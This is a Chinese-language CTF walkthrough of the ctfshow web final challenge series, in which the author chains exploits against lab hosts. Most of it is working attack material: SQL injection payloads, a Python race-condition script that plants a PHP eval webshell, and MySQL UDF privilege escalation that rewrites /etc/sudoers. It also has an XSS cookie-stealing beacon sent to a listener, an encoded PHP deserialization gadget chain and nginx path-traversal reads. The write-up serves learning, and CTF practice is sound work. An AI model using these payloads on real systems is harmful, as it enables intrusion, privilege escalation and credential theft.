ctfshow-终极考核
官方wp出啦:CTFshow web入门 终极考核 (shimo.im)
640
打开页面就是
641
在index.php标头里
642
index.php查看源代码,看到关键目录system36d
访问该目录,右键查看源代码得到642
644
在index.php会跳转至login.php,一个前端
可以看看js文件,得到密码0x36d
输入即得flag
也可以在js文件里拿到flag644
同时看到跳转逻辑:访问url/system36d/checklogin.php?s=10
即可跳转到后台,效果等同输入正确密码
643
网络测试处可执行无参命令,ls一下发现当前目录有一个secret.txt
643在当前文件夹的/secret.txt中, 访问url/system36d/secret.txt,url解码即可
645
在用户列表可见flag,利用数据备份可以查看,不记得是真是假了 (后面验证,这里确实是真的--)
正解是: 访问robots.txt可以得到提示source.txt,访问得到关键代码
关键代码
function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}
function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'删除成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权删除';
}
return json_encode($ret);
}
这里的删除逻辑是:(判断逻辑也是在$data中正则匹配)
- 判断用户存在,且删除的用户不是admin
- 正则替换:简而言之就是将原来的数据
$data
中符合正则/($username)@[0-9a-zA-Z]+\|/
的地方 替换为空
赋值给$s后再写入DB_PATH中,从而实现删除
正则之所以这样设置,可以看之前提取的备份文件
可以看到数据是这样存储的:
username1@password1|username2@password2|xxx@xxx|...
那么正则匹配的就是:用户名@密码|
再说获取flag:
因为正则部分拼接了$usernmae,那么正则就可控
我们可以传入符号正则的东西,在$data中删除我们想要删除的东西,从而把flag显示出来
那么这里就可以构造正则将admin前面的数据全部删除, 让flag显示在用户名处
url/system36d/users.php?action=del&username=aab.*admin@|
删除成功后再次访问:
可以再次数据管理-》数据备份看一下,只剩下flag了 所以可以直接导出数据就有了呵呵~,不过这就是ctf的乐趣嘛
646
远程更新处,需填入645的flag作key, 提示地址不可达,但显然执行成功了,
抓包修改一下:修改update_address可以得到main.php的源码,根据包含信息,查看init.php的源码,拿到645和646的flag
647
为方便审计,将获得的源码去转义:在线字符串转义 (lzltool.com)
结合之前的无参数rce,ls一下当前目录:
checklogin.php dbindex.php init.php login.php logout.php main.php secret.txt static update.php update2.php users.php util
篇幅问题,只贴647取的关键代码
# /system36d/checklogin.php
$s=$_GET['s'];
setcookie('uid',intval($s));
$_SESSION['user_id']=intval($s);
header('location:main.php');
# /system36d/users.php
$a=$_GET['action'];switch ($a) {
# ...
case 'evilString':
evilString($_GET['m']);
break;
}function evilString($m){
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}else{
echo 'you are not 372619038?';
}
}
stripos不区分大小写,发现则返回字符串位置(从0开始),未发现则返回false,也就是要求$content即call_user_func($m)有372619038的结果
可以在checklogin.php处设置session值,然后调用session_encode:
url/system36d/checklogin.php?s=372619038
url/system36d/users.php?action=evilString&m=session_encode
648
# /system36d/users.php
$a=$_GET['action'];
switch ($a) {
# ...
case 'evilClass':
evilClass($_GET['m'],$_GET['key']);
break;
}
function evilClass($m,$k){
class ctfshow{
public $m;
public function __construct($m){
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
echo shell_exec('cat /FLAG/FLAG648');
}else{
echo 'mmmmm?';
}
}
可变变量覆盖,好像传什么都可以
url/system36d/users.php?action=evilClass&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}&m=
649
# /system36d/users.php
$a=$_GET['action'];
switch ($a) {
# ...
case 'evilNumber':
evilNumber($_GET['m'],$_GET['key']);
break;
}
function getArray($total, $times, $min, $max)
{
$data = array();
if ($min * $times > $total) {
return array();
}
if ($max * $times < $total) {
return array();
}
while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}
return $data;
}
function evilNumber($m,$k){
$number = getArray(1000,20,10,999);
if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
echo shell_exec('cat /FLAG/FLAG649');
}else{
echo 'number is right?';
}
}
不给m赋值即可,$number[]==$m,都为空
url/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}&m=
650
# /system36d/users.php
$a=$_GET['action'];
switch ($a) {
# ...
case 'evilFunction':
evilFunction($_GET['m'],$_GET['key']);
break;
}
function evilFunction($m,$k){
$key = 'ffffffff';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
echo shell_exec('cat /FLAG/FLAG650');
}else{
echo 'you are not ffffffff?';
}
}
找返回值中存在ffffffff的函数:
url/system36d/users.php?action=evilFunction&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}&m=phar::createDefaultStub
651
# /system36d/users.php
$a=$_GET['action'];
switch ($a) {
# ...
case 'evilFunction':
evilFunction($_GET['m'],$_GET['key']);
break;
}
function evilArray($m,$k){
$arrays=unserialize($m);
if($arrays!==false){
if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){
echo shell_exec('cat /FLAG/FLAG651');
}else{
echo 'array?';
}
}
}
会反序列化传入的m
判断条件:
- 检查键值中是否有username这个键值
- 数组中存在ctfshow
传一个序列化数据就可以:
<?phpclass ctfshow{ public $username="ctfshow";}$a=new ctfshow();echo serialize($a);
得到O:7:"ctfshow":1:{s:8:"username";s:7:"ctfshow";}
url/system36d/users.php?action=evilArray&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}&m=O:7:"ctfshow":1:{s:8:"username";s:7:"ctfshow";}
652
# /page.php
<?php
error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';
$id = isset($_GET['id'])?$_GET['id']:'1';
// 转义'来实现防注入$id = addslashes($id);$name = db::get_username($id);?>
# /system36d/util/dbutil.php
<?php
class db{
private static $host='localhost';
private static $username='root';
private static $password='root';
private static $database='ctfshow';
private static $conn;
public static function get_key(){
$ret = '';
$conn = self::get_conn();
$res = $conn->query('select `key` from ctfshow_keys');
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['key'];
self::close();
return $ret;
}
public static function get_username($id){
$ret = '';
$conn = self::get_conn();
$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['username'];
self::close();
return $ret;
}
private static function get_conn(){
if(self::$conn==null){
self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
}
return self::$conn;
}
private static function close(){
if(self::$conn!==null){
self::$conn->close();
}
}
}
使用addslashes转义:
单引号('
)、双引号("
)、反斜线(\
)与 NULL(null
字符)
'select `key` from ctfshow_keys'"select `username` from ctfshow_users where id = ($id)"
但是sql语句中并没有使用这些符合,由此构造sql语句注入
# 表:ctfshow_keys,ctfshow_secret,ctfshow_users
?id=10) union select group_concat(table_name) from information_schema.tables where table_schema=database() and 1 =(1
# flag
?id=10) union select * from `ctfshow_secret` where 1 =(1# key?id=10) union select * from `ctfshow_keys` where 1 =(1
注入,拿flag652和key(给653)
url/page.php?id=10) union select secret as username from ctfshow_secret where 1 =(1
url/page.php?id=10) union select `key` as username from ctfshow_keys where 1 =(1
key_is_here_you_know
653
解法1
用flag651和652拿到的key,可以进行文件包含
# /var/www/html/system36d/util/common.php
<?php
include 'dbutil.php';
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){
die('651flag未拿到');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
if(db::get_key()==$_POST['key']){
include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
}
}
利用session文件包含getshell
import requests
import io
import threading
url = "http://db1b17bf-5a63-4e5e-866f-b6ba412a9df9.challenge.ctf.show:8080/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}"
url2 = "http://db1b17bf-5a63-4e5e-866f-b6ba412a9df9.challenge.ctf.show:8080/index.php"
sessionid = "na0h"
data = {
'key': 'key_is_here_you_know',
'file': '../../../../../tmp/sess_' + sessionid,
# /var/www/html/system36d/util/dbutil.php
'1': '''file_put_contents('sss.php','<?php eval($_POST[1]);?>');'''
}
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
resp = session.post(url2,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},
files={'file': ('na0h.png', filebytes)},
cookies={'PHPSESSID': sessionid})
print("[*]writing...")
def read(session):
while True:
resp = session.post(url, data=data, cookies={'PHPSESSID': sessionid})
if 'na0h.png' or 'offset: 1' in resp.text:
print(resp.text)
event.clear()
else:
print("[*]status:" + str(resp.status_code))
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
event.set()
disable_function禁用了常见的命令执行函数,但可以用反引号
或者哥斯拉也可以
但权限只有www-data,这里顺便讲一下关于webshell的权限问题:
webshell是通过web服务器对应的语言里面的函数执行的命令,那么你的web服务是用什么权限运行的,你的webshell就是什么权限
解法2
补:条件竞争G了,只能换个办法,还是文件包含,先回头看看哪里能写东西
可以目录穿越,但存在open_basedir
: /var/www/html:/tmp
,写马的时候注意
又看一遍,发现用户那可以写东西,而且好像是用文件存的数据库,那么
# system36d/init.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-07-31 15:28:30
# @Last Modified by: h1xa
# @Last Modified time: 2021-07-31 22:09:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
define('DB_PATH', __DIR__.'/db/data_you_never_know.db');
define('FLAG645','flag645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}');
define('FLAG646','flag646=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}');
考虑包含/var/www/html/system36d/db/data_you_never_know.db
利用这玩意把咱们写的马丢上去再包含就行
<?php eval($_POST[1]);?>
url/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
POST:
key=key_is_here_you_know&file=../../../../../../var/www/html/system36d/db/data_you_never_know.db&1=echo `ls /`;
发现有点麻烦--,直接file_put_contents()写了个马
file_put_contents('a.php','<?php eval($_POST[1]);?>');
然后连接就行
654
10.7
摸索了两天,一开始闭着眼睛想弹shell,后来发现这台机子不出网,问了下群主,确实只开了80端口;不过也学会msf的更多用法--
11.30
忙了好久,今天又重新捡起来一下
还是问了下yuntian师傅,知道mysql -udf提权QAQ,之前看的方向都错了
但是哥斯拉和冰蝎连又爆了,蚁剑连上数据库,但是都好像有点问题==
(不懂是什么原因,非常奇怪了)
因为udf提权要对数据库进行操作,但我用webshell管理工具都抽风了
自己写了个执行sql语句的东东,但确实不方便==(蚁剑传上去就行)
<?php
$dsn = 'mysql:host=localhost;dbname=ctfshow';
$user = 'root';
$pwd = 'root';
try{
$obj = new PDO($dsn,$user,$pwd);
}catch(PDOException $e){
echo 'Could not connect to DB:'.$e -> getMessage();
}
$sql = $_GET[1];
$res = $obj->prepare($sql);
$res->execute();
$result = $res->fetch(PDO::FETCH_ASSOC);
while ($row = $res -> fetch(PDO::FETCH_ASSOC)){
print_r($row);
}
?>
然后又去找了些大马,不过可能由于disable_function的存在,大马也不太可
然后在国光师傅的这篇文章找到办法:
MySQL 漏洞利用与提权 | 国光 (sqlsec.com)
利用Navicat的 tunnel 隧道脚本连接即可,具体看师傅的博客吧~
然后就是udf提权了,确实狠狠的学到了
不过这里由于secure_file_priv:/root
无法在sql将动态链接库写入插件目录下
直接在蚁剑传上去就行了,因为open_basedir的原因,无法直接传到插件目录下,
先传到允许目录用cp命令写入
ps:这里我忘记看这个目录的所有者了,以为是root创建的,自己没权限,
属于一叶障目了,然后傻傻跑去问yuntian师傅,下次注意信息收集的地方!!
这里uname -a看了下,传64位的udf,然后跟着国光师傅走就行
# 创建自定义函数(记得是在mysql的命令行界面,不是查询==)
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
# 执行命令
select sys_eval('ls');
然后直接sudo就行,感动的我只能说绝绝子了
记一下操作
/system36d/checklogin.php?s=10
system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
POST:
key=key_is_here_you_know&file=../../../../../../var/www/html/system36d/db/data_you_never_know.db&1=echo `ls /`;
cp lib_mysqludf_sys_64.so /usr/lib/mariadb/plugin/udf.so
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
select sys_eval('sudo cp /var/www/html/system36d/util/sudoers /etc/sudoers');
655
为了操作方便,
修改/etc/sudoers
把www-data也加个sudo
但可能是占用还是语法问题,尝试>>追加无果
先cat内容,再加上一条这个:www-data ALL=(ALL:ALL) NOPASSWD:ALL
然后传上去,cp一下覆盖掉~,就可以用www-data来sudo了
select sys_eval('sudo cp /var/www/html/system36d/util/sudoers /etc/sudoers');
后面就是进内网咯
12.12
又写了两周的课设,一直想着搭隧道来着
但因为机子是不出网的,而且只开了80端口,之前群主其实也和俺说过 (不过还是傻傻的看了一天内网转发,也学到很多好用的东东)
存活主机写个sh脚本ping就好了:
(要注意每次开靶机分配的内网ip不一样,记得自己改)
#!/bin/bash
ip=1
while [ $ip != "254" ]; do
ping 172.2.7.$ip -c 2 | grep -q "ttl=" && echo "172.2.7.$ip yes" || echo "172.2.7.$ip no" >/dev/null 2>&1
ip=`expr "$ip" "+" "1"`
done
扫c段发现1-7能通
curl了一遍发现应该是在5,不能内网转发,但是俺可以在浏览器用🐎直接curl(yuntian师傅直接提示了phpinfo.php,也省去俺扫目录了QAQ)
656
不过还是扫一遍,发现了很多好东西
访问robots.txt发现:disallowed /public/
,访问之,有个Readme.txt
flag.php没啥东西,应该是被调用的,还是看www.zip吧
先把www.zip拷到这台机子,再访问下下来
curl 172.2.7.7/www.zip > www.zip
得到index.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-08-04 15:54:48
# @Last Modified by: h1xa
# @Last Modified time: 2021-08-05 00:43:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include 'dbutil.php';
include 'flag.php';
error_reporting(0);
session_start();
$a=$_GET['action'];
switch ($a){
case 'login':
$ret = login($_GET['u'],$_GET['p']);
break;
case 'index':
$ret = index();
break;
case 'main':
$ret = main($_GET['m']);
break;
default:
$ret = json_encode(array(
'code'=>0,
'message'=>'数据获取失败',
));
break;
}
echo $ret;
function index(){
$html='管理员请注意,下面是最近登陆失败用户:<br>';
$ret=db::query('select username,login_time,login_ip from ctfshow_logs order by id desc limit 3');
foreach ($ret as $r) {
$html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
.$r[1]
.'<br>登陆失败IP: '
.$r[2].
'<br>------------<br>';
}
return $html;
}
function login($u,$p){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
$u = addslashes($u);
$p = addslashes($p);
$res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
$date = new DateTime('now');
$now = $date->format('Y-m-d H:i:s');
$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
if(count($res)==0){
db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
$ret['message']='账号或密码错误';
return json_encode($ret);
}
if(!auth()){
$ret['message']='AuthKey 错误';
}else{
$ret['message']='登陆成功';
$_SESSION['login']=true;
$_SESSION['flag_660']=$_GET['flag'];
}
return json_encode($ret);
}
function auth(){
$auth = base64_decode($_COOKIE['auth']);
return $auth==AUTH_KEY;
}
function getFlag(){
return FLAG_657;
}
function testFile($f){
$result = '';
$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
if(file_exists($file)){
$result = FLAG_658;
}
return $result;
}
function main($m){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
if($_SESSION['login']==true){
switch ($m) {
case 'getFlag':
$ret['message']=getFlag();
break;
case 'testFile':
$ret['message']=testFile($_GET['f']);
break;
default:
# code...
break;
}
}else{
$ret['message']='请先登陆';
}
return json_encode($ret);
}
看了下好像没东东,但是输入失败的话会被传到页面中,可以调用index看,考虑插个xss,获取cookie就能实现能登录了?
$u = addslashes($u);
$p = addslashes($p);
$res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
$date = new DateTime('now');
$now = $date->format('Y-m-d H:i:s');
$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
if(count($res)==0){
db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
$ret['message']='账号或密码错误';
return json_encode($ret);
}
用户名和密码因为是get传参存在转义,有点不好操作 发现ip是检测头部中的xff,那么可以在ip这里进行操作
gethostbyname:返回主机名
hostname
对应的 IPv4 互联网地址。成功时返回 IPv4 地址,失败时原封不动返回
hostname
字符串。
因为失败时会原封不动返回
那么:
curl -H 'X-Forwarded-For: <script>alert(1);</script>' '172.2.119.5/index.php?action=login&u=333'
成功了~,然后就是弹一下cookie看看后台会不会有bot点击
不过我记得群主过滤了xss,那么xss平台好像就不能用了,但是因为addslashes的存在,单双引号又会被弄掉
研究了一下发现xss平台的payload就是访问他的js文件,那么我把这个js放到我vps上就行,接收还是在xss平台那(后面得搭一个自己的了~)
后面发现弹不到啊,又想起来机子都是不出网的,那么用第一台机子接收就好了:
先传个php和js文件上去
cc.php
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('cookie.txt',$content);
}else{
echo 'no date input';
}mjs
var img = new Image();
img.src = "http://172.2.119.4/cc.php?1="+document.cookie;
document.body.append(img);然后发送请求把他写进去:
curl -H 'X-Forwarded-For: <sCRiPt/SrC=//172.2.119.4/mjs></script>' '172.2.119.5/index.php?action=login&u=321'
弹到了:
PHPSESSID=lf274jqj4h5mkoali1ka3ggjec; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=
解码得到:flag_656=ctfshow{xxx}
657
看index.php:
#...
if(!auth()){
$ret['message']='AuthKey 错误';
}else{
$ret['message']='登陆成功';
$_SESSION['login']=true;
$_SESSION['flag_660']=$_GET['flag'];
}
return json_encode($ret);
#...
function getFlag(){
return FLAG_657;
}
#...
function main($m){
#...
if($_SESSION['login']==true){
switch ($m) {
case 'getFlag':
$ret['message']=getFlag();
break;
#...
}
return json_encode($ret);
}
把弹到的session和cookie一起传进去就行:
curl -H 'Cookie: PHPSESSID=lf274jqj4h5mkoali1ka3ggjec; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=' '172.2.119.5/index.php?action=main&m=getFlag'
658
function testFile($f){
$result = '';
$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
if(file_exists($file)){
$result = FLAG_658;
}
return $result;
curl -H 'Cookie: PHPSESSID=1addmcbia5kdeqti30993323bg; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=' '172.2.119.5/index.php?action=main&m=testFile&f=./a'
不会整,于是曲线救国:
open_basedir:/var/www/html:/tmp:/var/oa/
1=
echo shell_exec('a=TyUzQTMyJTNBJTIyQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwb3V0cHV0JTIyJTNCTyUzQTIyJTNBJTIyRmFrZXIlNUNEZWZhdWx0R2VuZXJhdG9yJTIyJTNBMSUzQSU3QnMlM0ExMCUzQSUyMiUwMCUyQSUwMGRlZmF1bHQlMjIlM0JzJTNBNSUzQSUyMmpva2VyJTIyJTNCJTdEcyUzQTQzJTNBJTIyJTAwQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTAwcHJvY2Vzc2VzJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCTyUzQTI4JTNBJTIyR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMjIlM0EyJTNBJTdCcyUzQTM3JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzdHJlYW1zJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyOSUzQSUyMkd1enpsZUh0dHAlNUNQc3I3JTVDQ2FjaGluZ1N0cmVhbSUyMiUzQTIlM0ElN0JzJTNBNDMlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q0NhY2hpbmdTdHJlYW0lMDByZW1vdGVTdHJlYW0lMjIlM0JPJTNBMjIlM0ElMjJGYWtlciU1Q0RlZmF1bHRHZW5lcmF0b3IlMjIlM0ExJTNBJTdCcyUzQTEwJTNBJTIyJTAwJTJBJTAwZGVmYXVsdCUyMiUzQmIlM0EwJTNCJTdEcyUzQTYlM0ElMjJzdHJlYW0lMjIlM0JPJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0EzJTNBJTdCcyUzQTM0JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNQdW1wU3RyZWFtJTAwc291cmNlJTIyJTNCQyUzQTMyJTNBJTIyT3BpcyU1Q0Nsb3N1cmUlNUNTZXJpYWxpemFibGVDbG9zdXJlJTIyJTNBMTgzJTNBJTdCYSUzQTUlM0ElN0JzJTNBMyUzQSUyMnVzZSUyMiUzQmElM0EwJTNBJTdCJTdEcyUzQTglM0ElMjJmdW5jdGlvbiUyMiUzQnMlM0EyOCUzQSUyMmZ1bmN0aW9uJTI4JTI5JTdCZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiU3RCUyMiUzQnMlM0E1JTNBJTIyc2NvcGUlMjIlM0JzJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0JzJTNBNCUzQSUyMnRoaXMlMjIlM0JOJTNCcyUzQTQlM0ElMjJzZWxmJTIyJTNCcyUzQTMyJTNBJTIyMDAwMDAwMDAyOTUxNDVkZTAwMDAwMDAwMDZlOWY1OTElMjIlM0IlN0QlN0RzJTNBMzIlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMDBzaXplJTIyJTNCaSUzQS0xMCUzQnMlM0EzNCUzQSUyMiUwMEd1enpsZUh0dHAlNUNQc3I3JTVDUHVtcFN0cmVhbSUwMGJ1ZmZlciUyMiUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCcyUzQTElM0ElMjJqJTIyJTNCJTdEJTdEJTdEJTdEcyUzQTM4JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzZWVrYWJsZSUyMiUzQmIlM0ExJTNCJTdEJTdEJTdEJTdE;
b=dmFyX2R1bXAoc2NhbmRpcigkX1BPU1RbMl0pKTsK;
curl "172.2.133.5:8888/index.php?r=site/unserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "_csrf=a_NNxLPrVGtxteT6o7pCERw2sYqscNEGH2iLxPyQTAYtoA-OnogXHDbfio7GyXUnX0frsvQBqDAuXsy9kfQePw==" -d "UnserializeForm[ctfshowUnserializeData]=`echo "$a" | base64 -d`" -d "1=`echo "$b" | base64 -d`phpinfo();" -d "2=glob://../../www/html/*"
');
那么伪协议读源码即可:
1=
echo shell_exec('a=TyUzQTMyJTNBJTIyQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwb3V0cHV0JTIyJTNCTyUzQTIyJTNBJTIyRmFrZXIlNUNEZWZhdWx0R2VuZXJhdG9yJTIyJTNBMSUzQSU3QnMlM0ExMCUzQSUyMiUwMCUyQSUwMGRlZmF1bHQlMjIlM0JzJTNBNSUzQSUyMmpva2VyJTIyJTNCJTdEcyUzQTQzJTNBJTIyJTAwQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTAwcHJvY2Vzc2VzJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCTyUzQTI4JTNBJTIyR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMjIlM0EyJTNBJTdCcyUzQTM3JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzdHJlYW1zJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyOSUzQSUyMkd1enpsZUh0dHAlNUNQc3I3JTVDQ2FjaGluZ1N0cmVhbSUyMiUzQTIlM0ElN0JzJTNBNDMlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q0NhY2hpbmdTdHJlYW0lMDByZW1vdGVTdHJlYW0lMjIlM0JPJTNBMjIlM0ElMjJGYWtlciU1Q0RlZmF1bHRHZW5lcmF0b3IlMjIlM0ExJTNBJTdCcyUzQTEwJTNBJTIyJTAwJTJBJTAwZGVmYXVsdCUyMiUzQmIlM0EwJTNCJTdEcyUzQTYlM0ElMjJzdHJlYW0lMjIlM0JPJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0EzJTNBJTdCcyUzQTM0JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNQdW1wU3RyZWFtJTAwc291cmNlJTIyJTNCQyUzQTMyJTNBJTIyT3BpcyU1Q0Nsb3N1cmUlNUNTZXJpYWxpemFibGVDbG9zdXJlJTIyJTNBMTgzJTNBJTdCYSUzQTUlM0ElN0JzJTNBMyUzQSUyMnVzZSUyMiUzQmElM0EwJTNBJTdCJTdEcyUzQTglM0ElMjJmdW5jdGlvbiUyMiUzQnMlM0EyOCUzQSUyMmZ1bmN0aW9uJTI4JTI5JTdCZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiU3RCUyMiUzQnMlM0E1JTNBJTIyc2NvcGUlMjIlM0JzJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0JzJTNBNCUzQSUyMnRoaXMlMjIlM0JOJTNCcyUzQTQlM0ElMjJzZWxmJTIyJTNCcyUzQTMyJTNBJTIyMDAwMDAwMDAyOTUxNDVkZTAwMDAwMDAwMDZlOWY1OTElMjIlM0IlN0QlN0RzJTNBMzIlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMDBzaXplJTIyJTNCaSUzQS0xMCUzQnMlM0EzNCUzQSUyMiUwMEd1enpsZUh0dHAlNUNQc3I3JTVDUHVtcFN0cmVhbSUwMGJ1ZmZlciUyMiUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCcyUzQTElM0ElMjJqJTIyJTNCJTdEJTdEJTdEJTdEcyUzQTM4JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzZWVrYWJsZSUyMiUzQmIlM0ExJTNCJTdEJTdEJTdEJTdE;
b=aW5jbHVkZSgkX1BPU1RbMl0pOwo=;
curl "172.2.133.5:8888/index.php?r=site/unserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "_csrf=a_NNxLPrVGtxteT6o7pCERw2sYqscNEGH2iLxPyQTAYtoA-OnogXHDbfio7GyXUnX0frsvQBqDAuXsy9kfQePw==" -d "UnserializeForm[ctfshowUnserializeData]=`echo "$a" | base64 -d`" -d "1=`echo "$b" | base64 -d`phpinfo();" -d "2=php://filter/convert.base64-encode/resource=/var/www/html/flag.php"
');
659、660、661
nginx目录穿越漏洞,想到之前扫出来的那个/public
659
curl 172.2.119.5/public../FLAG/flag659.txt
661
curl 172.2.119.5/public../home/flag/secret.txt
660会传到session里,可以读一下nginx的日志:
curl 172.2.119.5/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log
同时得到了登录的帐号密码:admin/nE7jA5m
还有他的配置文件看看还开了哪些网站服务:
curl 172.2.119.5/public../etc/nginx/nginx.conf
daemon off;
worker_processes auto;
